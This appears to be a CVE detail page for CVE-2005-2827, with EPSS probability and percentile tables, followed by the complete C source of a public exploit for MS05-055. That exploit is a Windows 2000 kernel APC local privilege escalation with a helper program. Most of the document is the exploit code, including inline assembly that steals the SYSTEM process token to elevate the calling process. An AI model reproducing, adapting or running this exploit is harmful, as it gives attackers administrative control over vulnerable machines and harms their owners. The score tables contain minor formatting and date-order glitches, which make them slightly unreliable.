CVE-2005-2827 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.84%	–	–
2022-02-13	–	–	3.84%	–	–
2022-04-03	–	–	3.84%	–	–
2022-07-03	–	–	4.1%	–	–
2022-10-16	–	–	4.1%	–	–
2023-01-01	–	–	4.1%	–	–
2023-01-15	–	–	4.1%	–	–
2023-03-12	–	–	–	0.07%	–
2023-10-29	–	–	–	0.07%	–
2023-12-03	–	–	–	0.07%	–
2024-02-11	–	–	–	0.05%	–
2024-03-10	–	–	–	0.05%	–
2024-04-07	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-08-11	–	–	–	0.05%	–
2024-12-22	–	–	–	0.05%	–
2025-03-02	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-09	–	–	–	0.05%	–
2025-03-18	–	–	–	–	1.05%
2025-03-30	–	–	–	–	1.48%
2025-04-15	–	–	–	–	1.48%
2025-04-15	–	–	–	–	1.48,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	67%
2022-02-13	68%
2022-04-03	84%
2022-07-03	85%
2022-10-16	86%
2023-01-01	85%
2023-01-15	86%
2023-03-12	3%
2023-10-29	31%
2023-12-03	3%
2024-02-11	17%
2024-03-10	18%
2024-04-07	19%
2024-06-02	21%
2024-08-11	22%
2024-12-22	23%
2025-03-02	24%
2025-01-19	23%
2025-03-09	24%
2025-03-18	76%
2025-03-30	79%
2025-04-15	8%
2025-04-15	8%

/* helper.c commented out below ms05-055.c /str0ke */ /* MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit Created by SoBeIt 12.25.2005 Main file of exploit Tested on: Windows 2000 PRO SP4 Chinese Windows 2000 PRO SP4 Rollup 1 Chinese Windows 2000 PRO SP4 English Windows 2000 PRO SP4 Rollup 1 English Usage:ms05-055.exe helper.exe */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #define NTSTATUS ULONG #define ProcessBasicInformation 0 typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2); typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PVOID PebBaseAddress; ULONG AffinityMask; ULONG BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; typedef struct _EPROCESS_QUOTA_BLOCK { ULONG QuotaLock; ULONG ReferenceCount; ULONG QuotaPeakPoolUsage[2]; ULONG QuotaPoolUsage[2]; ULONG QuotaPoolLimit[2]; ULONG PeakPagefileUsage; ULONG PagefileUsage; ULONG PagefileLimit; } EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK; typedef struct _OBJECT_TYPE_INITIALIZER { USHORT Length; BOOLEAN UseDefaultObject; BOOLEAN Reserved; ULONG InvalidAttributes; UCHAR GenericMapping[0x10]; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; BOOLEAN MaintainTypeList; USHORT PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; PVOID DumpProcedure; PVOID OpenProcedure; PVOID CloseProcedure; PVOID DeleteProcedure; PVOID ParseProcedure; PVOID SecurityProcedure; PVOID QueryNameProcedure; PVOID OkayToCloseProcedure; } OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; typedef struct _OBJECT_TYPE { UCHAR Mutex[0x38]; LIST_ENTRY TypeList; UNICODE_STRING Name; PVOID DefaultObject; ULONG Index; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; OBJECT_TYPE_INITIALIZER TypeInfo; } OBJECT_TYPE, *POBJECT_TYPE; typedef struct _OBJECT_HEADER { ULONG PointerCount; ULONG HandleCount; POBJECT_TYPE Type; UCHAR NameInfoOffset; UCHAR HandleInfoOffset; UCHAR QuotaInfoOffset; UCHAR Flags; PVOID QuotaBlockCharged; PVOID SecurityDescriptor; } OBJECT_HEADER, *POBJECT_HEADER; __declspec(naked) NTSTATUS NTAPI ZwQueueApcThread( HANDLE hThread, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) { __asm { mov eax, 0x9e lea edx, [esp+4] int 0x2e ret 0x14 } } __declspec(naked) NTSTATUS ZwAlertThread( HANDLE hThread) { __asm { mov eax, 0x0c lea edx, [esp+4] int 0x2e ret 0x4 } } __declspec(naked) NTSTATUS NTAPI ZwQueryInformationProcess( HANDLE ProcessHandle, ULONG InformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) { __asm { mov eax, 0x86 lea edx, [esp+4] int 0x2e ret 0x14 } } HANDLE hTargetThread; ULONG ParentProcessId; VOID NTAPI APCProc(PVOID pApcContext, PVOID Argument1, PVOID Argument2) { printf("%s\n", pApcContext); return; } VOID ErrorQuit(char *msg) { printf(msg); ExitProcess(0); } ULONG WINAPI TestThread(PVOID pParam) { CONTEXT Context; ULONG i = 0; HANDLE hThread, hEvent = (HANDLE)pParam; int PoolIndex, PoolType; for(;;) { if((hThread = CreateThread(NULL, 0, TestThread, pParam, CREATE_SUSPENDED, NULL)) == NULL) ErrorQuit("Create thread failed.\n"); Context.ContextFlags = CONTEXT_INTEGER; if(!GetThreadContext(GetCurrentThread(), &Context)) ErrorQuit("Child thread get context failed.\n"); printf("Child ESP:%x\n", Context.Esp); PoolType = (Context.Esp >> 16) & 0xff; PoolIndex = ((Context.Esp >> 8) & 0xff) - 1; printf("PoolIndex:%2x PoolType:%2x\n", PoolIndex, PoolType); if((PoolIndex & 0x80) && (PoolType & 0x8) && (PoolType & 0x3) && !(PoolType & 0x20) && !(PoolType & 0x40)) { printf("Perfect ESP:%x\n", Context.Esp); break; } Sleep(500); ResumeThread(hThread); CloseHandle(hThread); SuspendThread(GetCurrentThread()); } DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hTargetThread, 0, FALSE, DUPLICATE_SAME_ACCESS); SetEvent(hEvent); SuspendThread(hTargetThread); ZwQueueApcThread(hTargetThread, APCProc, NULL, NULL, NULL); printf("In child thread. Now terminating to trigger the bug.\n"); ExitThread(0); return 1; } __declspec(naked) ExploitFunc() { __asm { // int 0x3 mov esi, 0xffdff124 mov esi, dword ptr [esi] mov eax, dword ptr [esi+0x44] mov ecx, 0x8 call FindProcess mov edx, eax mov ecx, ParentProcessId call FindProcess mov ecx, dword ptr [edx+0x12c] mov dword ptr [eax+0x12c], ecx xor ebx, ebx xor edi, edi mov dword ptr [ebp+0xf0], edi add esp, 0x74 add ebp, 0x10c ret FindProcess: mov eax, dword ptr [eax+0xa0] sub eax, 0xa0 cmp dword ptr [eax+0x9c], ecx jne FindProcess ret } } int main(int argc, char *argv[]) { HANDLE hThread, hEvent, hProcess; PEPROCESS_QUOTA_BLOCK pEprocessQuotaBlock; POBJECT_HEADER pObjectHeader; POBJECT_TYPE pObjectType; ULONG i = 0, ProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; PROCESS_BASIC_INFORMATION pbi; char Buf[64], *pParam; PULONG pKernelData; printf("\n MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit \n\n"); printf("\t Create by SoBeIt. \n\n"); if(argc != 2) { printf(" Usage:ms05-055.exe helper.exe. \n\n"); return 1; } ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if((pKernelData = VirtualAlloc((PVOID)0x1000000, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) ErrorQuit("Allocate pKernelData failed.\n"); if((pEprocessQuotaBlock = VirtualAlloc(NULL, sizeof(EPROCESS_QUOTA_BLOCK), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL) ErrorQuit("Allocate pEprocessQuotaBlock failed.\n"); if((pObjectHeader = VirtualAlloc(NULL, sizeof(OBJECT_HEADER), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL) ErrorQuit("Allocate pObjectHeader failed\n"); if((pObjectType = VirtualAlloc(NULL, sizeof(OBJECT_TYPE), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL) ErrorQuit("Allocate pObjectType failed.\n"); ZeroMemory((PVOID)0x1000000, 0x1000); ZeroMemory(pEprocessQuotaBlock, sizeof(EPROCESS_QUOTA_BLOCK)); ZeroMemory(pObjectHeader, sizeof(OBJECT_HEADER)); ZeroMemory(pObjectType, sizeof(OBJECT_TYPE)); pKernelData[0xee] = (ULONG)pEprocessQuotaBlock; //0xae = (0x1b8+0x200) / 4 pEprocessQuotaBlock->ReferenceCount = 0x221; pEprocessQuotaBlock->QuotaPeakPoolUsage[0] = 0x1f4e4; pEprocessQuotaBlock->QuotaPeakPoolUsage[1] = 0x78134; pEprocessQuotaBlock->QuotaPoolUsage[0] = 0x1e5e8; pEprocessQuotaBlock->QuotaPoolUsage[1] = 0x73f64; pEprocessQuotaBlock->QuotaPoolLimit[0] = 0x20000; pEprocessQuotaBlock->QuotaPoolLimit[1] = 0x80000; pEprocessQuotaBlock->PeakPagefileUsage = 0x5e9; pEprocessQuotaBlock->PagefileUsage = 0x5bb; pEprocessQuotaBlock->PagefileLimit = 0xffffffff; pObjectHeader = (POBJECT_HEADER)(0x1000200-0x18); pObjectHeader->PointerCount = 1; pObjectHeader->Type = pObjectType; pObjectType->TypeInfo.DeleteProcedure = ExploitFunc; hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS); if((hThread = CreateThread(NULL, 0, TestThread, (PVOID)hEvent, CREATE_SUSPENDED, NULL)) == NULL) ErrorQuit("Create thread failed.\n"); ResumeThread(hThread); WaitForSingleObject(hEvent, INFINITE); printf("The sleep has awaken.\n"); ProcessId = GetCurrentProcessId(); printf("Target thread handle:%x, Target process handle:%x, Process id:%x\n", hTargetThread, hProcess, ProcessId); pParam = Buf; strcpy(Buf, argv[1]); pParam += sizeof(argv[1]); pParam = strchr(Buf, '\0'); *pParam++ = ' '; itoa((int)hTargetThread, pParam, 10); pParam = strchr(Buf, '\0'); *pParam++ = ' '; itoa(ProcessId, pParam, 10); printf("%s\n", Buf); if(!CreateProcess(NULL, Buf, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi )) ErrorQuit("Create process failed,\n"); CloseHandle(pi.hThread); CloseHandle(hEvent); printf("Now waitting for triggering the bug.\n"); WaitForSingleObject(pi.hProcess, INFINITE); if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) ErrorQuit("Query parent process failed\n"); ParentProcessId = pbi.InheritedFromUniqueProcessId; printf("Parent process id:%x\n", ParentProcessId); CloseHandle(pi.hProcess); ResumeThread(hTargetThread); WaitForSingleObject(hTargetThread, INFINITE); printf("Exploit finished.\n"); return 1; } /* MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit Created by SoBeIt 12.25.2005 Helper file of exploit Tested on: Windows 2000 PRO SP4 Chinese Windows 2000 PRO SP4 Rollup 1 Chinese Windows 2000 PRO SP4 English Windows 2000 PRO SP4 Rollup 1 English Usage:ms05-055.exe helper.exe #include <stdio.h> #include <windows.h> #define NTSTATUS ULONG typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2); __declspec(naked) NTSTATUS NTAPI ZwQueueApcThread( HANDLE hThread, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) { __asm { mov eax, 0x9e lea edx, [esp+4] int 0x2e ret 0x14 } } __declspec(naked) NTSTATUS ZwAlertThread( HANDLE hThread) { __asm { mov eax, 0x0c lea edx, [esp+4] int 0x2e ret 0x4 } } VOID NTAPI ApcProc(PVOID ApcContext, PVOID Argument1, PVOID Argument2) { } int main(int argc, char *argv[]) { HANDLE hTargetThread, hTargetProcess, hThread; int ProcessId; PVOID pApcProc; if(argc != 3) { printf(" Usage:ms05-055.exe helper.exe. \n"); return 1; } hTargetThread = (HANDLE)atoi(argv[1]); ProcessId = atoi(argv[2]); printf("Got thread handle:%x, Got process id:%x\n", hTargetThread, ProcessId); hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); printf("Process handle:%x\n", hTargetProcess); if(!DuplicateHandle(hTargetProcess, hTargetThread, GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS)) printf("Duplicate handle failed.\n"); if((pApcProc = VirtualAllocEx(hTargetProcess, 0, 1024*4, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) printf("Allocate remote memory failed.\n"); if(!WriteProcessMemory(hTargetProcess, pApcProc, &ApcProc, 1024*4, 0)) printf("Write remote memory failed.\n"); ZwAlertThread(hThread); ZwQueueApcThread(hThread, (PKNORMAL_ROUTINE)pApcProc, NULL, NULL, NULL); CloseHandle(hTargetProcess); CloseHandle(hThread); printf("Now terminating process.\n"); ExitProcess(0); } */ // milw0rm.com [2006-01-05]